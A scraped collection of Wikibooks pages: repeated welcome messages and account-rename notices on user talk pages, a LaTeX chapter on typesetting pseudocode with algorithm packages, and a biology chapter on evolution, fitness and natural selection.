 * If you're an instructor and plan on using wikibooks for a class project, see Guidelines for class projects
 * Please say hello at the Staff Lounge with any questions or ideas.
 * Eventually, you might want to read the Manual of Style and Policies and Guidelines.
 * Please take a look at Naming policy before starting a new book.
 * Remember to maintain a Neutral point of view.
 * Explore, be bold in editing pages, and have fun!

You will find more resources in Community Portal. If you want to ask a question, visit the Study help desk, the Staff lounge, IRC channel or ask me personally on my talk page. For site news, see the Bulletin board. It might be an idea if you add this page to your "watchlist" so that you can see when any new information is posted there.

Good luck! -- Herby talk thyme 13:58, 23 March 2007 (UTC)

title: User talk:Lachaesis


text:
User talk:Pattimynatt

Hello and welcome to Wikibooks!

Here are some tips to help you get started:
 * You should sign your name on Talk and vote pages using four tildes, like this: ~~~~.
 * Remember to conduct any editing experiments in the sandbox.
 * If you're a Wikipedian, see Wikibooks for Wikipedians for a primer on how things work here (it's a little different).
 * If you want to base your work here on materials from Wikipedia, please use WB:RFI to bring the material over in compliance with the GFDL.
 * If you're an instructor and plan on using wikibooks for a class project, see Guidelines for class projects
 * Please say hello at the Staff Lounge with any questions or ideas.
 * Eventually, you might want to read the Manual of Style and Policies and Guidelines.
 * Please take a look at Naming policy before starting a new book.
 * Remember to maintain a Neutral point of view.
 * Explore, be bold in editing pages, and have fun!

You will find more resources in Community Portal. If you want to ask a question, visit the Study help desk, the Staff lounge, IRC channel or ask me personally on my talk page. For site news, see the Bulletin board. It might be an idea if you add this page to your "watchlist" so that you can see when any new information is posted there.

Good luck! -- Herby talk thyme 13:58, 23 March 2007 (UTC)

title: User talk:Pattimynatt


text:
User talk:Kitty777

Hello and welcome to Wikibooks!

Here are some tips to help you get started:
 * You should sign your name on Talk and vote pages using four tildes, like this: ~~~~.
 * Remember to conduct any editing experiments in the sandbox.
 * If you're a Wikipedian, see Wikibooks for Wikipedians for a primer on how things work here (it's a little different).
 * If you want to base your work here on materials from Wikipedia, please use WB:RFI to bring the material over in compliance with the GFDL.
 * If you're an instructor and plan on using wikibooks for a class project, see Guidelines for class projects
 * Please say hello at the Staff Lounge with any questions or ideas.
 * Eventually, you might want to read the Manual of Style and Policies and Guidelines.
 * Please take a look at Naming policy before starting a new book.
 * Remember to maintain a Neutral point of view.
 * Explore, be bold in editing pages, and have fun!

You will find more resources in Community Portal. If you want to ask a question, visit the Study help desk, the Staff lounge, IRC channel or ask me personally on my talk page. For site news, see the Bulletin board. It might be an idea if you add this page to your "watchlist" so that you can see when any new information is posted there.

Good luck! -- Herby talk thyme 13:58, 23 March 2007 (UTC)

title: User talk:Kitty777


text:
User talk:ChillAtGVC

Hello and welcome to Wikibooks!

Here are some tips to help you get started:
 * You should sign your name on Talk and vote pages using four tildes, like this: ~~~~.
 * Remember to conduct any editing experiments in the sandbox.
 * If you're a Wikipedian, see Wikibooks for Wikipedians for a primer on how things work here (it's a little different).
 * If you want to base your work here on materials from Wikipedia, please use WB:RFI to bring the material over in compliance with the GFDL.
 * If you're an instructor and plan on using wikibooks for a class project, see Guidelines for class projects
 * Please say hello at the Staff Lounge with any questions or ideas.
 * Eventually, you might want to read the Manual of Style and Policies and Guidelines.
 * Please take a look at Naming policy before starting a new book.
 * Remember to maintain a Neutral point of view.
 * Explore, be bold in editing pages, and have fun!

You will find more resources in Community Portal. If you want to ask a question, visit the Study help desk, the Staff lounge, IRC channel or ask me personally on my talk page. For site news, see the Bulletin board. It might be an idea if you add this page to your "watchlist" so that you can see when any new information is posted there.

Good luck! -- Herby talk thyme 14:00, 23 March 2007 (UTC)

title: User talk:ChillAtGVC


text:
User talk:Andrev~enwikibooks

Hello and welcome to Wikibooks!

Here are some tips to help you get started:
 * You should sign your name on Talk and vote pages using four tildes, like this: ~~~~.
 * Remember to conduct any editing experiments in the sandbox.
 * If you're a Wikipedian, see Wikibooks for Wikipedians for a primer on how things work here (it's a little different).
 * If you want to base your work here on materials from Wikipedia, please use WB:RFI to bring the material over in compliance with the GFDL.
 * If you're an instructor and plan on using wikibooks for a class project, see Guidelines for class projects
 * Please say hello at the Staff Lounge with any questions or ideas.
 * Eventually, you might want to read the Manual of Style and Policies and Guidelines.
 * Please take a look at Naming policy before starting a new book.
 * Remember to maintain a Neutral point of view.
 * Explore, be bold in editing pages, and have fun!

You will find more resources in Community Portal. If you want to ask a question, visit the Study help desk, the Staff lounge, IRC channel or ask me personally on my talk page. For site news, see the Bulletin board. It might be an idea if you add this page to your "watchlist" so that you can see when any new information is posted there.

Good luck! -- Herby talk thyme 14:00, 23 March 2007 (UTC)

Your account will be renamed
Hello,

The developer team at Wikimedia is making some changes to how accounts work, as part of our on-going efforts to provide new and better tools for our users like cross-wiki notifications. These changes will mean you have the same account name everywhere. This will let us give you new features that will help you edit and discuss better, and allow more flexible user permissions for tools. One of the side-effects of this is that user accounts will now have to be unique across all 900 Wikimedia wikis. See the announcement for more information.

Unfortunately, your account clashes with another account also called Andrev. To make sure that both of you can use all Wikimedia projects in future, we have reserved the name Andrev~enwikibooks that only you will have. If you like it, you don't have to do anything. If you do not like it, you can pick out a different name.

Your account will still work as before, and you will be credited for all your edits made so far, but you will have to use the new account name when you log in.

Sorry for the inconvenience.

Yours, Keegan Peterzell Community Liaison, Wikimedia Foundation 22:58, 17 March 2015 (UTC)

Renamed
 This account has been renamed as part of single-user login finalisation. If you own this account you can |log in using your previous username and password for more information. If you do not like this account's new name, you can choose your own using this form after logging in: . -- Keegan (WMF) (talk) 04:32, 19 April 2015 (UTC)

title: User talk:Andrev~enwikibooks


text:
User talk:Jelovirt

Hello and welcome to Wikibooks!

Here are some tips to help you get started:
 * You should sign your name on Talk and vote pages using four tildes, like this: ~~~~.
 * Remember to conduct any editing experiments in the sandbox.
 * If you're a Wikipedian, see Wikibooks for Wikipedians for a primer on how things work here (it's a little different).
 * If you want to base your work here on materials from Wikipedia, please use WB:RFI to bring the material over in compliance with the GFDL.
 * If you're an instructor and plan on using wikibooks for a class project, see Guidelines for class projects
 * Please say hello at the Staff Lounge with any questions or ideas.
 * Eventually, you might want to read the Manual of Style and Policies and Guidelines.
 * Please take a look at Naming policy before starting a new book.
 * Remember to maintain a Neutral point of view.
 * Explore, be bold in editing pages, and have fun!

You will find more resources in Community Portal. If you want to ask a question, visit the Study help desk, the Staff lounge, IRC channel or ask me personally on my talk page. For site news, see the Bulletin board. It might be an idea if you add this page to your "watchlist" so that you can see when any new information is posted there.

Good luck! -- Herby talk thyme 14:00, 23 March 2007 (UTC)

title: User talk:Jelovirt


text:
User talk:Btwied

Hello and welcome to Wikibooks!

Here are some tips to help you get started:
 * You should sign your name on Talk and vote pages using four tildes, like this: ~~~~.
 * Remember to conduct any editing experiments in the sandbox.
 * If you're a Wikipedian, see Wikibooks for Wikipedians for a primer on how things work here (it's a little different).
 * If you want to base your work here on materials from Wikipedia, please use WB:RFI to bring the material over in compliance with the GFDL.
 * If you're an instructor and plan on using wikibooks for a class project, see Guidelines for class projects
 * Please say hello at the Staff Lounge with any questions or ideas.
 * Eventually, you might want to read the Manual of Style and Policies and Guidelines.
 * Please take a look at Naming policy before starting a new book.
 * Remember to maintain a Neutral point of view.
 * Explore, be bold in editing pages, and have fun!

You will find more resources in Community Portal. If you want to ask a question, visit the Study help desk, the Staff lounge, IRC channel or ask me personally on my talk page. For site news, see the Bulletin board. It might be an idea if you add this page to your "watchlist" so that you can see when any new information is posted there.

Good luck! -- Herby talk thyme 14:00, 23 March 2007 (UTC)

title: User talk:Btwied


text:
User talk:Mcld

Thank you
Thank you for your edits to the matlab module, I agree the octave comparison could use some NPOV-type cleanup; I hope to expand/improve the articles at some later time but my knowledge of the subject is somewhat limited (I don't know how to do several of the things that are listed on the TOC but are stubs, like writing to ports and object-oriented programming) so it's always good to have someone else around. Good luck in your endeavors. Mattb112885 (talk) 23:40, 24 March 2007 (UTC)
 * Hi Matt, thanks for the support ;) - I've now done my editing on that page so feel free to make any changes you'd like --Mcld 00:01, 25 March 2007 (UTC)
 * Your edits look really good, I made some minor modifications but you changed most of the NPOV issues I think. Regards. Mattb112885 (talk) 00:21, 25 March 2007 (UTC)

Zine making
Hi, I just wanted to say thanks for creating this Wikibook. I really enjoyed reading it. Well laid out and good photographs. :) pfctdayelise (talk) 12:22, 4 June 2008 (UTC)

Zine Making Edits
I made a few edits to Zine Making, in order to make it a little bit more visually appealing in some places. Take a look at what I've done and make sure I didn't ruin your masterpiece! --Whiteknight (Page) (Talk) 20:41, 21 November 2008 (UTC)

title: User talk:Mcld


text:
User talk:Torfason

Hello and welcome to Wikibooks!

Here are some tips to help you get started:
 * You should sign your name on Talk and vote pages using four tildes, like this: ~~~~.
 * Remember to conduct any editing experiments in the sandbox.
 * If you're a Wikipedian, see Wikibooks for Wikipedians for a primer on how things work here (it's a little different).
 * If you want to base your work here on materials from Wikipedia, please use WB:RFI to bring the material over in compliance with the GFDL.
 * If you're an instructor and plan on using wikibooks for a class project, see Guidelines for class projects
 * Please say hello at the Staff Lounge with any questions or ideas.
 * Eventually, you might want to read the Manual of Style and Policies and Guidelines.
 * Please take a look at Naming policy before starting a new book.
 * Remember to maintain a Neutral point of view.
 * Explore, be bold in editing pages, and have fun!

You will find more resources in Community Portal. If you want to ask a question, visit the Study help desk, the Staff lounge, IRC channel or ask me personally on my talk page. For site news, see the Bulletin board. It might be an idea if you add this page to your "watchlist" so that you can see when any new information is posted there.

Good luck! -- Herby talk thyme 14:01, 23 March 2007 (UTC)

title: User talk:Torfason


text:
User talk:Roerlepel

Hello and welcome to Wikibooks!

Here are some tips to help you get started:
 * You should sign your name on Talk and vote pages using four tildes, like this: ~~~~.
 * Remember to conduct any editing experiments in the sandbox.
 * If you're a Wikipedian, see Wikibooks for Wikipedians for a primer on how things work here (it's a little different).
 * If you want to base your work here on materials from Wikipedia, please use WB:RFI to bring the material over in compliance with the GFDL.
 * If you're an instructor and plan on using wikibooks for a class project, see Guidelines for class projects
 * Please say hello at the Staff Lounge with any questions or ideas.
 * Eventually, you might want to read the Manual of Style and Policies and Guidelines.
 * Please take a look at Naming policy before starting a new book.
 * Remember to maintain a Neutral point of view.
 * Explore, be bold in editing pages, and have fun!

You will find more resources in Community Portal. If you want to ask a question, visit the Study help desk, the Staff lounge, IRC channel or ask me personally on my talk page. For site news, see the Bulletin board. It might be an idea if you add this page to your "watchlist" so that you can see when any new information is posted there.

Good luck! -- Herby talk thyme 14:01, 23 March 2007 (UTC)

title: User talk:Roerlepel


text:
User talk:Mubeenjukaku

Hello and welcome to Wikibooks!

Here are some tips to help you get started:
 * You should sign your name on Talk and vote pages using four tildes, like this: ~~~~.
 * Remember to conduct any editing experiments in the sandbox.
 * If you're a Wikipedian, see Wikibooks for Wikipedians for a primer on how things work here (it's a little different).
 * If you want to base your work here on materials from Wikipedia, please use WB:RFI to bring the material over in compliance with the GFDL.
 * If you're an instructor and plan on using wikibooks for a class project, see Guidelines for class projects
 * Please say hello at the Staff Lounge with any questions or ideas.
 * Eventually, you might want to read the Manual of Style and Policies and Guidelines.
 * Please take a look at Naming policy before starting a new book.
 * Remember to maintain a Neutral point of view.
 * Explore, be bold in editing pages, and have fun!

You will find more resources in Community Portal. If you want to ask a question, visit the Study help desk, the Staff lounge, IRC channel or ask me personally on my talk page. For site news, see the Bulletin board. It might be an idea if you add this page to your "watchlist" so that you can see when any new information is posted there.

Good luck! -- Herby talk thyme 14:01, 23 March 2007 (UTC)

title: User talk:Mubeenjukaku


text:
User talk:Getu~enwikibooks

Hello and welcome to Wikibooks!

Here are some tips to help you get started:
 * You should sign your name on Talk and vote pages using four tildes, like this: ~~~~.
 * Remember to conduct any editing experiments in the sandbox.
 * If you're a Wikipedian, see Wikibooks for Wikipedians for a primer on how things work here (it's a little different).
 * If you want to base your work here on materials from Wikipedia, please use WB:RFI to bring the material over in compliance with the GFDL.
 * If you're an instructor and plan on using wikibooks for a class project, see Guidelines for class projects
 * Please say hello at the Staff Lounge with any questions or ideas.
 * Eventually, you might want to read the Manual of Style and Policies and Guidelines.
 * Please take a look at Naming policy before starting a new book.
 * Remember to maintain a Neutral point of view.
 * Explore, be bold in editing pages, and have fun!

You will find more resources in Community Portal. If you want to ask a question, visit the Study help desk, the Staff lounge, IRC channel or ask me personally on my talk page. For site news, see the Bulletin board. It might be an idea if you add this page to your "watchlist" so that you can see when any new information is posted there.

Good luck! -- Herby talk thyme 14:01, 23 March 2007 (UTC)

Your account will be renamed
Hello,

The developer team at Wikimedia is making some changes to how accounts work, as part of our on-going efforts to provide new and better tools for our users like cross-wiki notifications. These changes will mean you have the same account name everywhere. This will let us give you new features that will help you edit and discuss better, and allow more flexible user permissions for tools. One of the side-effects of this is that user accounts will now have to be unique across all 900 Wikimedia wikis. See the announcement for more information.

Unfortunately, your account clashes with another account also called Getu. To make sure that both of you can use all Wikimedia projects in future, we have reserved the name Getu~enwikibooks that only you will have. If you like it, you don't have to do anything. If you do not like it, you can pick out a different name.

Your account will still work as before, and you will be credited for all your edits made so far, but you will have to use the new account name when you log in.

Sorry for the inconvenience.

Yours, Keegan Peterzell Community Liaison, Wikimedia Foundation 23:14, 17 March 2015 (UTC)

Renamed
 This account has been renamed as part of single-user login finalisation. If you own this account you can |log in using your previous username and password for more information. If you do not like this account's new name, you can choose your own using this form after logging in: . -- Keegan (WMF) (talk) 05:00, 19 April 2015 (UTC)

title: User talk:Getu~enwikibooks


text:
User talk:Sasmoonbeam

Hello and welcome to Wikibooks!

Here are some tips to help you get started:
 * You should sign your name on Talk and vote pages using four tildes, like this: ~~~~.
 * Remember to conduct any editing experiments in the sandbox.
 * If you're a Wikipedian, see Wikibooks for Wikipedians for a primer on how things work here (it's a little different).
 * If you want to base your work here on materials from Wikipedia, please use WB:RFI to bring the material over in compliance with the GFDL.
 * If you're an instructor and plan on using wikibooks for a class project, see Guidelines for class projects
 * Please say hello at the Staff Lounge with any questions or ideas.
 * Eventually, you might want to read the Manual of Style and Policies and Guidelines.
 * Please take a look at Naming policy before starting a new book.
 * Remember to maintain a Neutral point of view.
 * Explore, be bold in editing pages, and have fun!

You will find more resources in Community Portal. If you want to ask a question, visit the Study help desk, the Staff lounge, IRC channel or ask me personally on my talk page. For site news, see the Bulletin board. It might be an idea if you add this page to your "watchlist" so that you can see when any new information is posted there.

Good luck! -- Herby talk thyme 14:01, 23 March 2007 (UTC)

title: User talk:Sasmoonbeam


text:
User talk:Tedyoung

Hello and welcome to Wikibooks!

Here are some tips to help you get started:
 * You should sign your name on Talk and vote pages using four tildes, like this: ~~~~.
 * Remember to conduct any editing experiments in the sandbox.
 * If you're a Wikipedian, see Wikibooks for Wikipedians for a primer on how things work here (it's a little different).
 * If you want to base your work here on materials from Wikipedia, please use WB:RFI to bring the material over in compliance with the GFDL.
 * If you're an instructor and plan on using wikibooks for a class project, see Guidelines for class projects
 * Please say hello at the Staff Lounge with any questions or ideas.
 * Eventually, you might want to read the Manual of Style and Policies and Guidelines.
 * Please take a look at Naming policy before starting a new book.
 * Remember to maintain a Neutral point of view.
 * Explore, be bold in editing pages, and have fun!

You will find more resources in Community Portal. If you want to ask a question, visit the Study help desk, the Staff lounge, IRC channel or ask me personally on my talk page. For site news, see the Bulletin board. It might be an idea if you add this page to your "watchlist" so that you can see when any new information is posted there.

Good luck! -- Herby talk thyme 14:01, 23 March 2007 (UTC)

title: User talk:Tedyoung


text:
User talk:Sevcsik

Hello and welcome to Wikibooks!

Here are some tips to help you get started:
 * You should sign your name on Talk and vote pages using four tildes, like this: ~~~~.
 * Remember to conduct any editing experiments in the sandbox.
 * If you're a Wikipedian, see Wikibooks for Wikipedians for a primer on how things work here (it's a little different).
 * If you want to base your work here on materials from Wikipedia, please use WB:RFI to bring the material over in compliance with the GFDL.
 * If you're an instructor and plan on using wikibooks for a class project, see Guidelines for class projects
 * Please say hello at the Staff Lounge with any questions or ideas.
 * Eventually, you might want to read the Manual of Style and Policies and Guidelines.
 * Please take a look at Naming policy before starting a new book.
 * Remember to maintain a Neutral point of view.
 * Explore, be bold in editing pages, and have fun!

You will find more resources in Community Portal. If you want to ask a question, visit the Study help desk, the Staff lounge, IRC channel or ask me personally on my talk page. For site news, see the Bulletin board. It might be an idea if you add this page to your "watchlist" so that you can see when any new information is posted there.

Good luck! -- Herby talk thyme 14:01, 23 March 2007 (UTC)

title: User talk:Sevcsik


text:
User talk:Janislaw~enwikibooks

Hello and welcome to Wikibooks!

Here are some tips to help you get started:
 * You should sign your name on Talk and vote pages using four tildes, like this: ~~~~.
 * Remember to conduct any editing experiments in the sandbox.
 * If you're a Wikipedian, see Wikibooks for Wikipedians for a primer on how things work here (it's a little different).
 * If you want to base your work here on materials from Wikipedia, please use WB:RFI to bring the material over in compliance with the GFDL.
 * If you're an instructor and plan on using wikibooks for a class project, see Guidelines for class projects
 * Please say hello at the Staff Lounge with any questions or ideas.
 * Eventually, you might want to read the Manual of Style and Policies and Guidelines.
 * Please take a look at Naming policy before starting a new book.
 * Remember to maintain a Neutral point of view.
 * Explore, be bold in editing pages, and have fun!

You will find more resources in Community Portal. If you want to ask a question, visit the Study help desk, the Staff lounge, IRC channel or ask me personally on my talk page. For site news, see the Bulletin board. It might be an idea if you add this page to your "watchlist" so that you can see when any new information is posted there.

Good luck! -- Herby talk thyme 14:01, 23 March 2007 (UTC)

Your account will be renamed
Hello,

The developer team at Wikimedia is making some changes to how accounts work, as part of our on-going efforts to provide new and better tools for our users like cross-wiki notifications. These changes will mean you have the same account name everywhere. This will let us give you new features that will help you edit and discuss better, and allow more flexible user permissions for tools. One of the side-effects of this is that user accounts will now have to be unique across all 900 Wikimedia wikis. See the announcement for more information.

Unfortunately, your account clashes with another account also called Janislaw. To make sure that both of you can use all Wikimedia projects in future, we have reserved the name Janislaw~enwikibooks that only you will have. If you like it, you don't have to do anything. If you do not like it, you can pick out a different name.

Your account will still work as before, and you will be credited for all your edits made so far, but you will have to use the new account name when you log in.

Sorry for the inconvenience.

Yours, Keegan Peterzell Community Liaison, Wikimedia Foundation 23:15, 17 March 2015 (UTC)

Renamed
 This account has been renamed as part of single-user login finalisation. If you own this account you can |log in using your previous username and password for more information. If you do not like this account's new name, you can choose your own using this form after logging in: . -- Keegan (WMF) (talk) 05:04, 19 April 2015 (UTC)

title: User talk:Janislaw~enwikibooks


text:
User talk:Jessruss46

Hello and welcome to Wikibooks!

Here are some tips to help you get started:
 * You should sign your name on Talk and vote pages using four tildes, like this: ~~~~.
 * Remember to conduct any editing experiments in the sandbox.
 * If you're a Wikipedian, see Wikibooks for Wikipedians for a primer on how things work here (it's a little different).
 * If you want to base your work here on materials from Wikipedia, please use WB:RFI to bring the material over in compliance with the GFDL.
 * If you're an instructor and plan on using wikibooks for a class project, see Guidelines for class projects
 * Please say hello at the Staff Lounge with any questions or ideas.
 * Eventually, you might want to read the Manual of Style and Policies and Guidelines.
 * Please take a look at Naming policy before starting a new book.
 * Remember to maintain a Neutral point of view.
 * Explore, be bold in editing pages, and have fun!

You will find more resources in Community Portal. If you want to ask a question, visit the Study help desk, the Staff lounge, IRC channel or ask me personally on my talk page. For site news, see the Bulletin board. It might be an idea if you add this page to your "watchlist" so that you can see when any new information is posted there.

Good luck! -- Herby talk thyme 14:01, 23 March 2007 (UTC)

title: User talk:Jessruss46


text:
Template:Dutch/Exercise

YOUR TURN - UW BEURT!! • •

To use

 * Example:

title: Template:Dutch/Exercise


text:
LaTeX/Algorithms

LaTeX has several packages for typesetting algorithms in form of "pseudocode". They provide stylistic enhancements over a uniform style (i.e., all in typewriter font) so that constructs such as loops or conditionals are visually separated from other text. The pseudocode is usually put in an algorithm environment. For typesetting real code, written in a real programming language, consider the listings package described in Source Code Listings.

Typesetting
There are four notable packages algorithmic, algorithm2e, algorithmicx, and program,

Typesetting using the algorithmic package
The algorithmic package uses a different set of commands than the algorithmicx package. This is not compatible with revtex4-1. Basic commands are: Complete documentation is listed at. Most commands are similar to the algorithmicx equivalents, but with different capitalization. The package algorithms bundle at the ctan repository, dated 2009-08-24, describes both the algorithmic environment (for typesetting algorithms) and the algorithm floating wrapper (see below) which is designed to wrap around the algorithmic environment.

The <tt>algorithmic</tt> package is suggested for IEEE journals as it is a part of their default style sheet.

How to rename require/ensure to input/output:

Typesetting using the <tt>algorithm2e</tt> package
The <tt>algorithm2e</tt> package (first released 1995, latest updated July 2017 according to the v5.2 manual) allows typesetting algorithms with a lot of customization. Like <tt>algorithmic</tt>, this package is also not compatible with Revtex-4.1.

Unlike <tt>algorithmic</tt>, <tt>algorithm2e</tt> provides a relatively huge number of customization options to the algorithm suiting to the needs of various users. The CTAN-manual provides a comprehensible list of examples and full set of controls.

Typically, the usage between <tt>\begin{algorithm}</tt> and <tt>\end{algorithm}</tt> would be 1. Declaring a set of keywords(to typeset as functions/operators), layout controls, caption, title, header text (which appears before the algorithm's main steps e.g.: Input,Output) 2. Writing the main steps of the algorithm, with each step ending with a \; This may be taken in analogy with writing a latex-preamble before we start the actual document.

The package is loaded like and a simple example, taken from the v4.01 manual, is which produces

More details are in the manual hosted on the ctan website.

Typesetting using the <tt>algorithmicx</tt> package
The <tt>algorithmicx</tt> package provides a number of popular constructs for algorithm designs. Put <tt>\usepackage{algpseudocode}</tt> in the preamble to use the algorithmic environment to write algorithm pseudocode (<tt>\begin{algorithmic}...\end{algorithmic}</tt>). You might want to use the algorithm environment (<tt>\usepackage{algorithm}</tt>) to wrap your algorithmic code in an algorithm environment (<tt>\begin{algorithm}...\end{algorithm}</tt>) to produce a floating environment with numbered algorithms.

The command <tt>\begin{algorithmic}</tt> can be given the optional argument of a positive integer, which if given will cause line numbering to occur at multiples of that integer. E.g. <tt>\begin{algorithmic}[5]</tt> will enter the algorithmic environment and number every fifth line.

Below is an example of typesetting a basic algorithm using the <tt>algorithmicx</tt> package (remember to add the <tt>\usepackage{algpseudocode}</tt> statement to your document preamble):

The LaTeX source can be written to a format familiar to programmers so that it is easy to read. This will not, however, affect the final layout in the document.

Basic commands have the following syntax:

Statement (\State causes a new line, can also be used in front of other commands)

Three forms of if-statements: The third form accepts as many <tt>\ElsIf{}</tt> clauses as required. Note that it is <tt>\ElsIf</tt> and not <tt>\ElseIf</tt>.

Loops:

Pre- and postcondition:

Functions

This command will usually be used in conjunction with a <tt>\State</tt> command as follows:

Comments:

Note to users who switched from the old <tt>algorithmic</tt> package: comments may be placed everywhere in the source; there are no limitations as in the old <tt>algorithmic</tt> package.

The <tt>algorithmicx</tt> package allows you to define your own environments.

To define blocks beginning with a starting command and ending with an ending command, use This defines two commands <tt>\ </tt> and <tt>\ </tt> which have no parameters. The text displayed by them is <tt>\textbf{ }</tt> and <tt>\textbf{ }</tt>.

With <tt>\algblockdefx</tt> you can give the text to be output by the starting and ending command and the number of parameters for these commands. In the text the n-th parameter is referenced by <tt>#n</tt>.

Example:

More advanced customization and other constructions are described in the <tt>algorithmicx</tt> manual: http://mirror.ctan.org/macros/latex/contrib/algorithmicx/algorithmicx.pdf

Typesetting using the <tt>program</tt> package
The <tt>program</tt> package provides macros for typesetting algorithms. Each line is set in math mode, so all the indentation and spacing is done automatically. The notation <tt>|variable_name|</tt> can be used within normal text, maths expressions or programs to indicate a variable name. Use <tt>\origbar</tt> to get a normal <tt>|</tt> symbol in a program. The commands <tt>\A</tt>, <tt>\B</tt>, <tt>\P</tt>, <tt>\Q</tt>, <tt>\R</tt>, <tt>\S</tt>, <tt>\T</tt> and <tt>\Z </tt>typeset the corresponding bold letter with the next object as a subscript (eg <tt>\S1</tt> typesets <tt>{\bf S$_1$}</tt> etc). Primes work normally, eg <tt>\S‘‘</tt>.

Below is an example of typesetting a basic algorithm using the <tt>program</tt> package (remember to add the <tt>\usepackage{program}</tt> statement to your document preamble):

The commands <tt>\(</tt> and <tt>\)</tt> are redefined to typeset an algorithm in a minipage, so an algorithm can appear as a single box in a formula. For example, to state that a particular action system is equivalent to a WHILE loop you can write:

Dijkstra conditionals and loops:

Loops with multiple exits:

A Reverse Engineering Example.

Here's the original program:

And here's the transformed and corrected version:

The package also provides a macro for typesetting a set like this: <tt>\set{x \in N | x > 0}</tt>.

Lines can be numbered by setting <tt>\NumberProgramstrue</tt> and numbering turned off with <tt>\NumberProgramsfalse</tt>

Package page

Package documentation

The <tt>algorithm</tt> environment
It is often useful for the algorithm produced by <tt>algorithmic</tt> to be "floated" to the optimal point in the document to avoid it being split across pages. The <tt>algorithm</tt> environment provides this and a few other useful features. Include it by adding the <tt>\usepackage{algorithm}</tt> to your document's preamble. It is entered into by

Algorithm numbering
The default numbering system for the <tt>algorithm</tt> package is to number algorithms sequentially. This is often not desirable, particularly in large documents where numbering according to chapter is more appropriate. The numbering of algorithms can be influenced by providing the name of the document component within which numbering should be recommenced. The legal values for this option are: part, chapter, section, subsection, subsubsection or nothing (default). For example:

List of algorithms
When you use figures or tables, you can add a list of them close to the table of contents; the <tt>algorithm</tt> package provides a similar command. Just put anywhere in the document, and LaTeX will print a list of the "algorithm" environments in the document with the corresponding page and the caption.

An example from the manual
This is an example taken from the manual (official manual, p.14)

 * The official manual is located at: http://mirrors.ctan.org/macros/latex/contrib/algorithms/algorithms.pdf

title: LaTeX/Algorithms


text:
Animal Behavior/Evolution

Nothing in biology makes sense except in the light of evolution—Theodosius Dobzhansky (1900–1975)

Every individual alive today, the highest as well as the lowest, is derived in an unbroken line from the first and lowest forms - August Frederick Leopold Weismann, German biologist/geneticist (1834–1914)

Biological Species Concept
Scientists have long sought to view the great diversity of organisms as a collection of distinct units. The species, as the atomic unit of diversity, represents a group of interbreeding natural populations that are reproductively isolated from other such groups. When individuals breed offspring, the genes of individuals are shuffled within a common gene pool representing the species' identity. The identity of species is based on the ability to breed, rather than on physical similarity. Limited transfer of genes between species causes different species to take on specific appearances and characteristics.

Selection and Microevolution
Individuals will generally show great differences in the number of offspring they mange to contribute to the populations next generation. If differences in individual genotypes affect the bearer's reproductive success, then the frequencies of the genotypes will change over generations; genotypes with higher fitness become more common.

Fitness
Fitness describes an individual's ability to reproduce successfully, relative to that of other members of its population. In other words have a large number of feasible offspring. It measures changes in the proportion of genes from one generation to the next. Genes associated with higher fitness become more common while reduced fitness will decrease theit proportion. Fitness of a genotype is an averaged quantity which reflects the reproductive outcomes of all individuals with that genotype. When fitness measures the relative quantity of gene copies present in individuals of the next generation, they may have arrived there in one of several different ways. An individual may show greater reproductive success because it itself reproduced, or it may have helped relatives with similar genes to reproduce.

Artificial Selection and Breeding
Consider the work of a professional dog breeder. Lets consider a person trying to obtain a breed that is best suited for hunting of water fowl. The breeder specifically chooses individuals which most closely match the desired traits and selectively breeds them to each other in the hope of obtaining progeny with a combination of useful traits. Such plans can only succeed if:
 * phenotypic heritability in morphological and behavioral features is coded by (e.g. webbed toes, willingness to swim at least partially controlled by genes)
 * phenotypic variability is present (some have a particular characteristic, some don't)
 * differential survival/reproductive success of phenotypic variants is produced (you pick the ones who do)

Repeated, selective breeding events will alter the proportion of different genes over time. Genes which were present in those individuals that the breeder selected for reproduction will become overrepresented while those that occurred predominantly in discarded individuals will decrease in proportion. Animal breeding is a slow process, however, a combination of strong selection and a high degree of heritability can change the relative abundance of genes in a population up to 10% per generation.

Not all of the selections that we make are done intentionally. Penicillin became widely available during the second world war for the treatment of infected wounds. Just four years after drug companies began mass-producing penicillin in 1943, microbes began appearing that could resist it. With frequent and indiscriminate use of antibiotics we have fostered the emergence of antibiotic resistance in a variety of microorganism. The ability to withstand the effects of an antibiotic occurs when a rare mutation renders a small subset of individuals with lowered sensitivity to the effects of the drug. During the course of antibiotic treatment the wildtype individuals are killed first as intended while the mutants are able to survive a bit longer. If the treatment is stopped before the drug had an opportunity to kill all pathogens regardless of slight differences in sensitivity to it, only resistant individuals will survive and be able to infect new hosts. With each antibiotic treatment that ends prematurely we unintentionally select for those individuals that exhibit a higher ability to tolerate the drug.

Natural Selection
Natural selection is the process by which favorable traits that are heritable become more common in successive generations of a population of reproducing organisms, while the proportion of less successful traits shrinks. "Favorable" and "successful" are defined in a purely functional sense as environmental conditions allow some individuals to leave more offspring than others. Selection cannot act on the genes per se but rather works on their expression into observable characteristics. Individuals with favorable phenotypes are more likely to survive and reproduce then the genotypes associated with favorable phenotypes will increase in frequency with each generation. Over time, this process can result in the emergence of adaptations that specialize a group of organisms for a particular ecological set of conditions (i.e., microevolution). If different subsets of the population adapt to excel in one of multiple, distinct niches, the emergence of any reproductive barriers between the groups may allow the population's split into separate species (i.e., macroevolution).

More offspring are produced than finite resources can support. Individuals thus can be viewed as in a constant struggle for existence. Individuals within a population are rarely clones, they commonly show variation in phenotypes as well as genotypes. Some of this variation in behavioral phenotypes is heritable. As successful variants are more likely to survive and reproduce, their genotypes will be become overrepresented in the next generation

Density-independent and density-dependent growth models: Exponential Model: a species can potentially increase in numbers according to a geometric series—Thomas Robert Malthus (1766–1834) Logistic Model: the rate of population increase may be limited, i.e. it may depend on population density—Pierre Verhulst (1838). Carrying Capacity (K): an environment's maximum persistently supportable load (Catton 1986).

Natural selection is the process by which environmental effects lead to varying degrees of reproductive success among individuals of a population of organisms with different hereditary characters, or traits. The characters that inhibit reproductive success decrease in frequency from generation to generation. It is the process whereby certain genes (alleles) gain greater representation in the following generations compared to other alleles. Adaptations are the complement of traits that increases the fitness of the owner. An individual's Fitness or Reproductive Success is the relative probability that an animal of a particular genotype and phenotype will manage to contribute its genes to the next generation

Example: Mimicry
A major concern of animals and other critters is to protect themselves from predators in order to survive and reproduce and pass their genes off to a new generation. Many animals have evolved adaptations known as antipredator devices such as camouflage and chemical toxins. Animals use camouflage to blend in with their environments in an attempt to be unrecognizable by predators. Other organisms such as the monarch butterfly contain chemical toxins that are secreted into the predator’s mouth when it attempts to eat the butterfly. The monarch butterfly also has warning coloration that gives a warning sign to predators to remind them that the butterfly is toxic and should not be eaten.

